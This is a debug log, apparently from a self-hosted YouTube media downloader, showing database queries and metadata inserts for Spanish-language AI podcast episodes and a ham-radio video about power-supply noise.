(?)) [2] 21:59:50.869 [debug] QUERY OK source="sources" db=0.4ms idle=1137.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:59:50.870 [debug] QUERY OK source="media_items" db=0.6ms idle=1137.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 11:16:23Z], 2] 21:59:50.872 [debug] QUERY OK source="media_items" db=1.3ms idle=489.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣0️⃣: LLM's y Memoria 🧠🤖\n\nEl podcast de hoy es un poco mas aburrido que el pasado, hoy no hay tarta, y ademas David García Martínez y yo no venimos con una super IA que hace no se que, que si no lo haces vas a desaparecer de la faz de la tierra profesional.\n\nHoy vamos a hablar de la memoria de los LLM's y de un paper que acaba de publicar Google... que por lo que dicen los expertos tiene mucha miga.... aqui te explicamos de que va... puede que sea igual que el paper de hace unos años que también saco Google y que nos ha traído esta revolución. \"Attention Is All You Need\"\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI hashtag#ChatGPT hashtag#Memory\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:40 - LA REVOLUCIÓN DE LA IA EN 2026", "27f7d51c-1e15-4f85-bea8-923402173fc6", 668, false, "1lIgl3M92fA", "https://www.youtube.com/watch?v=1lIgl3M92fA", 8, "/downloads/music/IA mí QUÉ/EP:40 - LA REVOLUCIÓN DE LA IA EN 2026.m4a", false, false, false, 2, [], 97, ~U[2025-12-19 11:16:23Z], ~U[2026-02-07 20:59:50Z], ~U[2026-02-07 20:59:50Z], "#IAMIQUE 👉🏼 Ep 4️⃣0️⃣: LLM's y Memoria 🧠🤖\n\nEl podcast de hoy es un poco mas aburrido que el pasado, hoy no hay tarta, y ademas David García Martínez y yo no venimos con una super IA que hace no se que, que si no lo haces vas a desaparecer de la faz de la tierra profesional.\n\nHoy vamos a hablar de la memoria de los LLM's y de un paper que acaba de publicar Google... que por lo que dicen los expertos tiene mucha miga.... aqui te explicamos de que va... puede que sea igual que el paper de hace unos años que también saco Google y que nos ha traído esta revolución. \"Attention Is All You Need\"\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI hashtag#ChatGPT hashtag#Memory\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:40 - LA REVOLUCIÓN DE LA IA EN 2026", 668, false, "1lIgl3M92fA", "https://www.youtube.com/watch?v=1lIgl3M92fA", "/downloads/music/IA mí QUÉ/EP:40 - LA REVOLUCIÓN DE LA IA EN 2026.m4a", false, 2, ~U[2025-12-19 11:16:23Z]] 21:59:50.872 [debug] QUERY OK source="sources" db=0.5ms idle=140.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:59:50.873 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:59:50.874 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1260] 21:59:50.874 [debug] Current batch of media processed. Will check again in 1000ms 21:59:50.911 [debug] Current batch of media processed. Will check again in 1000ms 21:59:51.097 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:51.875 [debug] Current batch of media processed. Will check again in 1000ms 21:59:51.913 [debug] Current batch of media processed. Will check again in 1000ms 21:59:52.876 [debug] Current batch of media processed. Will check again in 1000ms 21:59:52.913 [debug] Current batch of media processed. Will check again in 1000ms 21:59:53.877 [debug] Current batch of media processed. Will check again in 1000ms 21:59:53.914 [debug] Current batch of media processed. Will check again in 1000ms 21:59:54.878 [debug] Current batch of media processed. Will check again in 1000ms 21:59:54.915 [debug] Current batch of media processed. Will check again in 1000ms 21:59:55.879 [debug] Current batch of media processed. Will check again in 1000ms 21:59:55.916 [debug] Current batch of media processed. Will check again in 1000ms 21:59:56.880 [debug] Current batch of media processed. Will check again in 1000ms 21:59:56.917 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Un experimento: probar una fuente conmutada barata (para leds o uso industrial) y ver si es usable para alimentar equipos de radioaficionado con los problemas de ruido que ya conocemos todos...\n\nFuente alimentación conmutada 12v 30 A:\n\nhttps://www.amazon.es/dp/B0DJFDR9NJ\n\nVoltimetro:\n\nhttps://www.amazon.es/dp/B072HQ127L\n\nAmperímetro:\n\nhttps://www.amazon.es/dp/B06Y2XTPCL\n\n#powersupply #fuentepotencia #ruido #diyelectronics #FT-240-77 #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1428, "filename" => "/downloads/music/ea3grn/171 - EXPERIMENTO CON FUENTE ALIMENTACION BARATA 30 AMPERIOS. ¿GENERARA RUIDO?.m4a", "id" => "99KjT18-yik", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=99KjT18-yik", "playlist_index" => 8, "timestamp" => 1763658025, "title" => "171 - EXPERIMENTO CON FUENTE ALIMENTACION BARATA 30 AMPERIOS. ¿GENERARA RUIDO?", "upload_date" => "20251120"} 21:59:56.918 [debug] QUERY OK source="sources" db=0.4ms idle=525.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:59:56.919 [debug] QUERY OK source="sources" db=0.3ms idle=186.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:59:56.920 [debug] QUERY OK source="media_items" db=0.9ms idle=187.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 17:00:25Z], 3] 21:59:56.923 [debug] QUERY OK source="media_items" db=3.2ms idle=188.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un experimento: probar una fuente conmutada barata (para leds o uso industrial) y ver si es usable para alimentar equipos de radioaficionado con los problemas de ruido que ya conocemos todos...\n\nFuente alimentación conmutada 12v 30 A:\n\nhttps://www.amazon.es/dp/B0DJFDR9NJ\n\nVoltimetro:\n\nhttps://www.amazon.es/dp/B072HQ127L\n\nAmperímetro:\n\nhttps://www.amazon.es/dp/B06Y2XTPCL\n\n#powersupply #fuentepotencia #ruido #diyelectronics #FT-240-77 #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "171 - EXPERIMENTO CON FUENTE ALIMENTACION BARATA 30 AMPERIOS. ¿GENERARA RUIDO?", "d46faf07-328a-41f8-baae-0b9510d334be", 1428, false, "99KjT18-yik", "https://www.youtube.com/watch?v=99KjT18-yik", 8, "/downloads/music/ea3grn/171 - EXPERIMENTO CON FUENTE ALIMENTACION BARATA 30 AMPERIOS. ¿GENERARA RUIDO?.m4a", false, false, false, 3, [], 98, ~U[2025-11-20 17:00:25Z], ~U[2026-02-07 20:59:56Z], ~U[2026-02-07 20:59:56Z], "Un experimento: probar una fuente conmutada barata (para leds o uso industrial) y ver si es usable para alimentar equipos de radioaficionado con los problemas de ruido que ya conocemos todos...\n\nFuente alimentación conmutada 12v 30 A:\n\nhttps://www.amazon.es/dp/B0DJFDR9NJ\n\nVoltimetro:\n\nhttps://www.amazon.es/dp/B072HQ127L\n\nAmperímetro:\n\nhttps://www.amazon.es/dp/B06Y2XTPCL\n\n#powersupply #fuentepotencia #ruido #diyelectronics #FT-240-77 #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "171 - EXPERIMENTO CON FUENTE ALIMENTACION BARATA 30 AMPERIOS. ¿GENERARA RUIDO?", 1428, false, "99KjT18-yik", "https://www.youtube.com/watch?v=99KjT18-yik", "/downloads/music/ea3grn/171 - EXPERIMENTO CON FUENTE ALIMENTACION BARATA 30 AMPERIOS. ¿GENERARA RUIDO?.m4a", false, 3, ~U[2025-11-20 17:00:25Z]] 21:59:56.924 [debug] QUERY OK source="sources" db=0.5ms idle=192.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:59:56.925 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:59:56.926 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1297] 21:59:56.926 [debug] Current batch of media processed. Will check again in 1000ms 21:59:57.881 [debug] Current batch of media processed. Will check again in 1000ms 21:59:57.927 [debug] Current batch of media processed. Will check again in 1000ms 21:59:58.882 [debug] Current batch of media processed. Will check again in 1000ms 21:59:58.928 [debug] Current batch of media processed. Will check again in 1000ms 21:59:59.883 [debug] Current batch of media processed. Will check again in 1000ms 21:59:59.929 [debug] Current batch of media processed. Will check again in 1000ms 22:00:00.076 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:00.884 [debug] Current batch of media processed. Will check again in 1000ms 22:00:00.930 [debug] Current batch of media processed. Will check again in 1000ms 22:00:01.885 [debug] Current batch of media processed. Will check again in 1000ms 22:00:01.931 [debug] Current batch of media processed. Will check again in 1000ms 22:00:02.886 [debug] Current batch of media processed. Will check again in 1000ms 22:00:02.932 [debug] Current batch of media processed. Will check again in 1000ms 22:00:03.887 [debug] Current batch of media processed. Will check again in 1000ms 22:00:03.933 [debug] Current batch of media processed. Will check again in 1000ms 22:00:04.888 [debug] Current batch of media processed. Will check again in 1000ms 22:00:04.935 [debug] Current batch of media processed. Will check again in 1000ms 22:00:05.889 [debug] Current batch of media processed. Will check again in 1000ms 22:00:05.935 [debug] Current batch of media processed. Will check again in 1000ms 22:00:06.890 [debug] Current batch of media processed. Will check again in 1000ms 22:00:06.936 [debug] Current batch of media processed. Will check again in 1000ms 22:00:07.891 [debug] Current batch of media processed. Will check again in 1000ms 22:00:07.937 [debug] Current batch of media processed. Will check again in 1000ms 22:00:08.892 [debug] Current batch of media processed. Will check again in 1000ms 22:00:08.938 [debug] Current batch of media processed. Will check again in 1000ms 22:00:09.893 [debug] Current batch of media processed. Will check again in 1000ms 22:00:09.939 [debug] Current batch of media processed. Will check again in 1000ms 22:00:10.894 [debug] Current batch of media processed. Will check again in 1000ms 22:00:10.940 [debug] Current batch of media processed. Will check again in 1000ms 22:00:11.895 [debug] Current batch of media processed. Will check again in 1000ms 22:00:11.941 [debug] Current batch of media processed. Will check again in 1000ms 22:00:12.896 [debug] Current batch of media processed. Will check again in 1000ms 22:00:12.942 [debug] Current batch of media processed. Will check again in 1000ms 22:00:13.897 [debug] Current batch of media processed. Will check again in 1000ms 22:00:13.943 [debug] Current batch of media processed. Will check again in 1000ms 22:00:14.898 [debug] Current batch of media processed. Will check again in 1000ms 22:00:14.944 [debug] Current batch of media processed. Will check again in 1000ms 22:00:15.899 [debug] Current batch of media processed. Will check again in 1000ms 22:00:15.945 [debug] Current batch of media processed. Will check again in 1000ms 22:00:16.900 [debug] Current batch of media processed. Will check again in 1000ms 22:00:16.946 [debug] Current batch of media processed. Will check again in 1000ms 22:00:17.901 [debug] Current batch of media processed. Will check again in 1000ms 22:00:17.947 [debug] Current batch of media processed. Will check again in 1000ms 22:00:18.902 [debug] Current batch of media processed. Will check again in 1000ms 22:00:18.948 [debug] Current batch of media processed. Will check again in 1000ms 22:00:19.903 [debug] Current batch of media processed. Will check again in 1000ms 22:00:19.949 [debug] Current batch of media processed. Will check again in 1000ms 22:00:20.904 [debug] Current batch of media processed. Will check again in 1000ms 22:00:20.950 [debug] Current batch of media processed. Will check again in 1000ms 22:00:21.100 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:21.905 [debug] Current batch of media processed. Will check again in 1000ms 22:00:21.951 [debug] Current batch of media processed. Will check again in 1000ms 22:00:22.906 [debug] Current batch of media processed. Will check again in 1000ms 22:00:22.952 [debug] Current batch of media processed. Will check again in 1000ms 22:00:23.907 [debug] Current batch of media processed. Will check again in 1000ms 22:00:23.953 [debug] Current batch of media processed. Will check again in 1000ms 22:00:24.908 [debug] Current batch of media processed. Will check again in 1000ms 22:00:24.954 [debug] Current batch of media processed. Will check again in 1000ms 22:00:25.909 [debug] Current batch of media processed. Will check again in 1000ms 22:00:25.955 [debug] Current batch of media processed. Will check again in 1000ms 22:00:26.910 [debug] Current batch of media processed. Will check again in 1000ms 22:00:26.956 [debug] Current batch of media processed. Will check again in 1000ms 22:00:27.911 [debug] Current batch of media processed. Will check again in 1000ms 22:00:27.957 [debug] Current batch of media processed. Will check again in 1000ms 22:00:28.912 [debug] Current batch of media processed. Will check again in 1000ms 22:00:28.958 [debug] Current batch of media processed. Will check again in 1000ms 22:00:29.913 [debug] Current batch of media processed. Will check again in 1000ms 22:00:29.959 [debug] Current batch of media processed. Will check again in 1000ms 22:00:30.914 [debug] Current batch of media processed. Will check again in 1000ms 22:00:30.960 [debug] Current batch of media processed. Will check again in 1000ms 22:00:31.915 [debug] Current batch of media processed. Will check again in 1000ms 22:00:31.961 [debug] Current batch of media processed. Will check again in 1000ms 22:00:32.916 [debug] Current batch of media processed. Will check again in 1000ms 22:00:32.962 [debug] Current batch of media processed. Will check again in 1000ms 22:00:33.917 [debug] Current batch of media processed. Will check again in 1000ms 22:00:33.963 [debug] Current batch of media processed. Will check again in 1000ms 22:00:34.918 [debug] Current batch of media processed. Will check again in 1000ms 22:00:34.965 [debug] Current batch of media processed. Will check again in 1000ms 22:00:35.919 [debug] Current batch of media processed. Will check again in 1000ms 22:00:35.965 [debug] Current batch of media processed. Will check again in 1000ms 22:00:36.920 [debug] Current batch of media processed. Will check again in 1000ms 22:00:36.966 [debug] Current batch of media processed. Will check again in 1000ms 22:00:37.921 [debug] Current batch of media processed. Will check again in 1000ms 22:00:37.967 [debug] Current batch of media processed. Will check again in 1000ms 22:00:38.922 [debug] Current batch of media processed. Will check again in 1000ms 22:00:38.968 [debug] Current batch of media processed. Will check again in 1000ms 22:00:39.923 [debug] Current batch of media processed. Will check again in 1000ms 22:00:39.969 [debug] Current batch of media processed. Will check again in 1000ms 22:00:40.924 [debug] Current batch of media processed. Will check again in 1000ms 22:00:40.970 [debug] Current batch of media processed. Will check again in 1000ms 22:00:41.925 [debug] Current batch of media processed. Will check again in 1000ms 22:00:41.971 [debug] Current batch of media processed. Will check again in 1000ms 22:00:42.926 [debug] Current batch of media processed. Will check again in 1000ms 22:00:42.972 [debug] Current batch of media processed. Will check again in 1000ms 22:00:43.927 [debug] Current batch of media processed. Will check again in 1000ms 22:00:43.973 [debug] Current batch of media processed. Will check again in 1000ms 22:00:44.928 [debug] Current batch of media processed. Will check again in 1000ms 22:00:44.974 [debug] Current batch of media processed. Will check again in 1000ms 22:00:45.929 [debug] Current batch of media processed. Will check again in 1000ms 22:00:45.975 [debug] Current batch of media processed. Will check again in 1000ms 22:00:46.930 [debug] Current batch of media processed. Will check again in 1000ms 22:00:46.976 [debug] Current batch of media processed. Will check again in 1000ms 22:00:47.931 [debug] Current batch of media processed. Will check again in 1000ms 22:00:47.977 [debug] Current batch of media processed. Will check again in 1000ms 22:00:48.933 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣2️⃣: Videos Avatarizados y mas...🎅🏻🎄\n\nHoy es otro video especial, mi compi David García Martínez esta málico y lo tengo que hacer yo solo!, pero he pedido ayuda y ya veréis... me acompañan un montón de compañeros!\n\nHoy os cuento como combinar las IA's para hacer videos \"resultones\" no voy a decir ni buenos ni malos, juzgar vosotros... y veréis que la palabra es resultón, en 2 horas quedan cosas curiosas, muy lejos de ser perfectas, pero impensables hace 12 meses!\n\nAdemás os comparto las fotos del día de los jerséis navideños que hemos hecho en la empresa.... gracias Compis!\n\ny como ya no me tenéis que ver (algunos...) hasta después de Navidad... Feliz Navidad!!!!!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Avatar #Kling #ChatGPT #ElevenLabs\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 775, "filename" => "/downloads/music/IA mí QUÉ/EP 42: Videos Avatarizados y mas....m4a", "id" => "z4Mm-VQlqaM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=z4Mm-VQlqaM", "playlist_index" => 9, "timestamp" => 1766142949, "title" => "EP 42: Videos Avatarizados y mas...", "upload_date" => "20251219"} 22:00:48.933 [debug] QUERY OK source="sources" db=0.5ms idle=443.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:00:48.934 [debug] QUERY OK source="sources" db=0.4ms idle=202.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:00:48.935 [debug] QUERY OK source="media_items" db=0.7ms idle=202.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 11:15:49Z], 2] 22:00:48.937 [debug] QUERY OK source="media_items" db=1.2ms idle=204.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣2️⃣: Videos Avatarizados y mas...🎅🏻🎄\n\nHoy es otro video especial, mi compi David García Martínez esta málico y lo tengo que hacer yo solo!, pero he pedido ayuda y ya veréis... me acompañan un montón de compañeros!\n\nHoy os cuento como combinar las IA's para hacer videos \"resultones\" no voy a decir ni buenos ni malos, juzgar vosotros... y veréis que la palabra es resultón, en 2 horas quedan cosas curiosas, muy lejos de ser perfectas, pero impensables hace 12 meses!\n\nAdemás os comparto las fotos del día de los jerséis navideños que hemos hecho en la empresa.... gracias Compis!\n\ny como ya no me tenéis que ver (algunos...) hasta después de Navidad... Feliz Navidad!!!!!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Avatar #Kling #ChatGPT #ElevenLabs\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP 42: Videos Avatarizados y mas...", "279cfbeb-1b6c-438e-aa6a-9d4747fbdd65", 775, false, "z4Mm-VQlqaM", "https://www.youtube.com/watch?v=z4Mm-VQlqaM", 9, "/downloads/music/IA mí QUÉ/EP 42: Videos Avatarizados y mas....m4a", false, false, false, 2, [], 97, ~U[2025-12-19 11:15:49Z], ~U[2026-02-07 21:00:48Z], ~U[2026-02-07 21:00:48Z], "#IAMIQUE 👉🏼 Ep 4️⃣2️⃣: Videos Avatarizados y mas...🎅🏻🎄\n\nHoy es otro video especial, mi compi David García Martínez esta málico y lo tengo que hacer yo solo!, pero he pedido ayuda y ya veréis... me acompañan un montón de compañeros!\n\nHoy os cuento como combinar las IA's para hacer videos \"resultones\" no voy a decir ni buenos ni malos, juzgar vosotros... y veréis que la 